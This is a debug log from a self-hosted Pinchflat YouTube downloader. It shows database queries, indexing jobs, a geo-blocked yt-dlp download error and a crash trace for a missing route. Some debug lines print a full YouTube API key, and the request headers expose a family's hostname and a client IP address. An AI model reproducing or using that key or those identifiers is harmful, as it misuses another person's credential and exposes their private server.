s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:36:47.141 [debug] QUERY OK source="settings" db=0.0ms idle=263.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:36:47.141 [debug] Running yt-dlp command for action: get_media_attributes 16:36:47.142 [debug] QUERY OK source="settings" db=0.0ms idle=264.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:36:47.142 [debug] QUERY OK source="settings" db=0.0ms idle=264.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:36:47.142 [debug] QUERY OK source="settings" db=0.0ms idle=264.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:36:47.142 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=NtHZ7IR88dg --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/7a/4a/7a4a5dedfa618f0b55c677a7cdfc765ec80423102f94f3c53b0f77da54978687.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 16:36:49.088 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=NtHZ7IR88dg --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/7a/4a/7a4a5dedfa618f0b55c677a7cdfc765ec80423102f94f3c53b0f77da54978687.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] NtHZ7IR88dg: The uploader has not made this video available in your country This video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa. You might want to use a VPN or a proxy server (with --proxy) to workaround. 16:36:49.088 [error] Error creating media item 'NtHZ7IR88dg' from URL: {:error, "ERROR: [youtube] NtHZ7IR88dg: The uploader has not made this video available in your country\nThis video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa.\nYou might want to use a VPN or a proxy server (with --proxy) to workaround.\n", 1} 16:36:49.090 [debug] QUERY OK source="media_items" db=1.7ms idle=492.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [6] 16:36:49.091 [debug] QUERY OK source="tasks" db=0.1ms idle=213.1ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800011, 6, ~U[2026-02-10 22:36:49Z], ~U[2026-02-10 22:36:49Z]] 16:36:49.092 [info] {"args":{"id":6},"id":3799969,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":10501996,"event":"job:stop","queue_time":637116,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:36:58.378 [info] {"source":"oban","duration":9980,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:37:00.027 [info] {"source":"oban","duration":266,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:37:00.098 [info] GET /sources/6/force_metadata_refresh 16:37:00.098 [debug] QUERY OK source="settings" db=0.1ms idle=1219.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:37:00.098 [debug] QUERY OK source="settings" db=0.0ms idle=1220.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:37:00.098 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:37:00.098 [error] #PID<0.22285.0> running PinchflatWeb.Endpoint (connection #PID<0.22284.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /sources/6/force_metadata_refresh ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/6/force_metadata_refresh (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.22284.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/6/force_metadata_refresh", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 42966}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate, br", "host" => "pinchflat.burns-family.net", "referer" => "https://pinchflat.burns-family.net/", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36", "x-forwarded-for" => "36.37.169.108", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "36.37.169.108" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.22285.0>, params: %{}, path_info: ["sources", "6", "force_metadata_refresh"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate, br"}, {"host", "pinchflat.burns-family.net"}, {"referer", "https://pinchflat.burns-family.net/"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36"}, {"x-forwarded-for", "36.37.169.108"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "36.37.169.108"} ], request_path: "/sources/6/force_metadata_refresh", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMDlbpYJml521IACR5h"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.22284.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/6/force_metadata_refresh", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 42966}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate, br", "host" => "pinchflat.burns-family.net", "referer" => "https://pinchflat.burns-family.net/", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36", "x-forwarded-for" => "36.37.169.108", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "36.37.169.108" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/6/force_metadata_refresh (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.22284.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/6/force_metadata_refresh", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 42966}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate, br", "host" => "pinchflat.burns-family.net", "referer" => "https://pinchflat.burns-family.net/", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36", "x-forwarded-for" => "36.37.169.108", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "36.37.169.108" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.22285.0>, params: %{}, path_info: ["sources", "6", "force_metadata_refresh"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate, br"}, {"host", "pinchflat.burns-family.net"}, {"referer", "https://pinchflat.burns-family.n (truncated) 16:37:04.618 [info] {"args":{"id":15},"id":3799973,"meta":{},"system_time":1770763024618687478,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:37:04.618 [info] {"args":{"id":42},"id":3799974,"meta":{},"system_time":1770763024618737029,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:37:04.619 [debug] QUERY OK source="sources" db=0.1ms idle=740.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [15] 16:37:04.619 [debug] QUERY OK source="settings" db=0.1ms idle=740.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:37:04.619 [debug] QUERY OK source="media_profiles" db=0.1ms idle=6.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:37:04.619 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:37:04.619 [debug] Fetching recent media IDs from YouTube API for playlist: UULFXk9J3O-hhOk0msOjKYdQ 16:37:04.619 [debug] QUERY OK source="sources" db=0.9ms idle=740.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [42] 16:37:04.619 [debug] QUERY OK source="settings" db=0.1ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:37:04.619 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:37:04.620 [debug] QUERY OK source="settings" db=0.0ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:37:04.620 [debug] QUERY OK source="media_profiles" db=0.3ms idle=0.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:37:04.620 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:37:04.620 [debug] Fetching recent media IDs from YouTube API for playlist: UUWKveACEz1euuOk5eyzzvTg 16:37:04.620 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:37:04.620 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:37:04.706 [debug] QUERY OK source="media_items" db=0.5ms idle=85.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [15, "QyJRbfVpasM", "cEvbtJKkiKA", "oIpuh9B54_Y", "qBngEbWvnLU", "ybedvH-Z1a0", "gyapvbUPeGY", "43yyNypLixI", "5TNRLSuu7Ck", "ogTdveOYLQw", "Lsn68mBl8t8", "xyjk-UAYXUw", "sjU6mk8YUFw", "l5-eiLTPkfo", "RrCOMIgn7lg", "5YyOA4Fb7DQ", "P0yz6bFnRPU", "UPvzdNYpGkk", "pXdGk0dzIso", "xNjq6F8JjZ4", "Z-PAcG0uecs", "yg7Oxq0V0bw", "044H43vCM5U", "WK4B1vsFvlA", "XAhoRD94yo8", "Vq8XXz_66lQ", "-OUVRcJMcfQ", "SkK7ve8Isq8", "P9yK5E1iw4o", "NHwWYgRkMOM", "neUAF2AjYZc", "zsYvx6oBdkI", "_wxU3z9VxOY", "Rl-Okv32Cg0", "xezfkm4w5Oo", "4mmV3TpYCwc", "6UbSy5JRc10", "z5VzU53LQ3Y", "QtN38fxQUZI", "aOB2mSALBiA", "Jr7pjruyR9s", "SQ_BWki10Y8", "1cwS7nzthpw", "ByK18GA2DZk", "YJgcAP3WHzM", "B0PiIsgmsTo", "O5myIiXLqug", "R6fZRX7mnEg", "Su5etRwlI-s", "ckwtQLlXZYQ", ...] 16:37:04.707 [debug] QUERY OK source="media_items" db=0.4ms idle=86.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [15] 16:37:04.707 [debug] QUERY OK source="tasks" db=0.1ms idle=87.0ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800012, 15, ~U[2026-02-10 22:37:04Z], ~U[2026-02-10 22:37:04Z]] 16:37:04.708 [info] {"args":{"id":15},"id":3799973,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":89240,"event":"job:stop","queue_time":521387,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:37:04.713 [info] {"args":{"id":13},"id":3799975,"meta":{},"system_time":1770763024713627705,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:37:04.713 [debug] QUERY OK source="sources" db=0.1ms idle=6.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", 